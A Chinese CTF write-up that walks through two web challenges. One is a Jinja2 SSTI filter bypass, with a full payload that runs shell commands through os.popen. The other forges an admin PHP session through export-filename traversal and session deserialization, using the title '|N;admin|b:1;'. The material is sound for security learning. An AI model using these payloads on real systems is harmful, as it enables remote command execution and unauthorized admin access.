五月公开赛writeup|web篇
2022-5-16 18:15:54 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

1. TemplatePlay

1. 题目考查技术点

jinja2 ssti bypass

2. 题目详细解题步骤

题目设计思路:通过前端代码发现,功能点和白名单user-agent ->测试存在ssti->bypass 拦截->通过命令执行->获取flag。

解题步骤:

1. 访问web网站,通过查看sources 可以看到加载了user-agent.js文件,能看到白名单的user-agent以及一个接口。

直接访问该接口会报错,所以把ua修改成js代码内的ua,再次访问

回显了string的值,尝试判断是否存在ssti,2*4被解析,所以存在ssti。

尝试构造利用链,这里拦截规则为string 的花括号的内的值不能出现,[],(),””,’’,|。等特殊字符,并且花括号内如果出现 . 符号,则 第一个.符号前的值不能超过4位。

常见的payload 均不可用。通过阅读jinja源码可以发现,jinja2内的undefined ,并非是python本身的而是自身修改过的并且继承自object,这样就可以直接使用此对象查找魔术方法,构造利用链。

最终payload

{{ads.__init__.__globals__.__builtins__.__import__("os").popen("cat+config/flag.txt").read()}}

2.MyNotes

1. 题目考查技术点

  • 逻辑漏洞

  • session反序列化

2. 题目详细解题步骤

进入题目,是一个在线写笔记的服务:

随便登录一个用户进入:

Add note可以创建笔记:

还有一个Admin页面,但是只有管理员可以访问:

Export notes应该是可以打包下载文件,但是咱是下不了。
题目给出了源码www.zip,我们来分析一下,主要是以下几个源码:

flag.php:

      <section>
       <h2>Admin Page</h2>
       <p>
         <?php
         if (is_admin()) {
           echo "Welcome, Admin, this is your secret: <code>" . file_get_contents('/flag') . "</code>";
        } else {
           echo "You are not an admin :(";
        }
         ?>
       </p>
     </section>

可知,只有我们登上了admin,才能得到flag。

config.php:

<?php
define('TEMP_DIR', '/var/www/tmp');

init.php:

<?php
error_reporting(0);

require_once('config.php');
require_once('lib.php');

session_save_path(TEMP_DIR);  // /var/www/tmp
session_start();

可知session的存放路径为TEMP_DIR,即/var/www/tmp。

lib.php:

<?php
function redirect($path) {
 header('Location: ' . $path);
 exit();
}

// utility functions
function e($str) {
 return htmlspecialchars($str, ENT_QUOTES);
}

// user-related functions
function validate_user($user) {
 if (!is_string($user)) {
   return false;
}

 return preg_match('/\A[0-9A-Z_-]{4,64}\z/i', $user);
}

function is_logged_in() {
 return isset($_SESSION['user']) && !empty($_SESSION['user']);
}

function set_user($user) {  // 在session中设置user
 $_SESSION['user'] = $user;
}

function get_user() {   // 获取session中的user
 return $_SESSION['user'];
}

function is_admin() {
 if (!isset($_SESSION['admin'])) {
   return false;
}
 return $_SESSION['admin'] === true;   // 判断是否是admin
}

// note-related functions
function get_notes() {
 if (!isset($_SESSION['notes'])) {
   $_SESSION['notes'] = [];
}
 return $_SESSION['notes'];
}

function add_note($title, $body) {
 $notes = get_notes();
 array_push($notes, [
   'title' => $title,
   'body' => $body,
   'id' => hash('sha256', microtime())
]);
 $_SESSION['notes'] = $notes;
}

function find_note($notes, $id) {
 for ($index = 0; $index < count($notes); $index++) {
   if ($notes[$index]['id'] === $id) {
     return $index;
  }
}
 return FALSE;
}

function delete_note($id) {
 $notes = get_notes();
 $index = find_note($notes, $id);
 if ($index !== FALSE) {
   array_splice($notes, $index, 1);
}
 $_SESSION['notes'] = $notes;
}

可知,目标题目会把我们登陆的用户名、是否为admin、编写的notes、notes的id/title/body、等信息存放在session中,由于php默认的session序列化引擎(session.serialize_handler)为php,所以,session中的信息经反序列化后得到的数据格式应为 键值|序列化后的值。即admin|b:1;会被反序列化成admin==bool(true),就会是$_SESSION["admin"]=true 了。

export.php:

<?php
require_once('init.php');

if (!is_logged_in()) {
 redirect('/?page=home');
}

$notes = get_notes();

if (!isset($_GET['type']) || empty($_GET['type'])) {
 $type = 'zip';
} else {
 $type = $_GET['type'];
}

$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;   // whoami-9a989aea898.zip
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;    // /var/www/tmp/whoami-9a989aea898.zip

if ($type === 'tar') {
 $archive = new PharData($path);
 $archive->startBuffering();
} else {
 // use zip as default
 $archive = new ZipArchive();
 $archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}

for ($index = 0; $index < count($notes); $index++) {
 $note = $notes[$index];
 $title = $note['title'];
 $title = preg_replace('/[^!-~]/', '-', $title);
 $title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
 $archive->addFromString("{$index}_{$title}.json", json_encode($note));
}

if ($type === 'tar') {
 $archive->stopBuffering();
} else {
 $archive->close();
}

header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);

可用来打包下载我们创建的nodes,这里会将我们session中的nodes里的信息写入到打包文件中,并将打包完成的文件生成在/var/www/tmp目录里面,与我们的session文件存放的路径一样。而且下载的文件名是可控的,即 用户名+bin2hex(random_bytes(8))+type,前提是要先通过GET方法指导下载的type。

那我们的思路来了,我们先通过指定用户名为 sess_ 并然后登录进去,然后我们再在Add notes中创建一个笔记,title为 |N;admin|b:1;

  • |N; 用来闭合前面的杂乱数据。

这样反序列化结果便可为:admin==bool(true)

最后在访问export.php?type=.下载文件,便可使得这个.与前面的.拼接成..被替换为空,$filename也就成为了session文件名了:

得到的文件名为sess_-ed13a429014accec

sess_-ed13a429014accec文件中的内容也可以看出来,要想成功将admin|b:1;给反序列化则必须要在其前面加上个 |N; 用来闭合前面的杂乱数据。

然后,我们将cookie里的PHPSESSID值改为-ed13a429014accec即可触发session反序列化,将sess_-ed13a429014accec里的admin|b:1;给反序列化为admin==bool(true),成功登录admin并获得flag:

END


文章来源: https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&mid=2247490529&idx=2&sn=e99cf89b1558bcbc615ff0374389d1b4&chksm=eadf8c3adda8052c42167a711a28cb5013aa30cfad505cc3f588da7862c46c6987707e846434&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh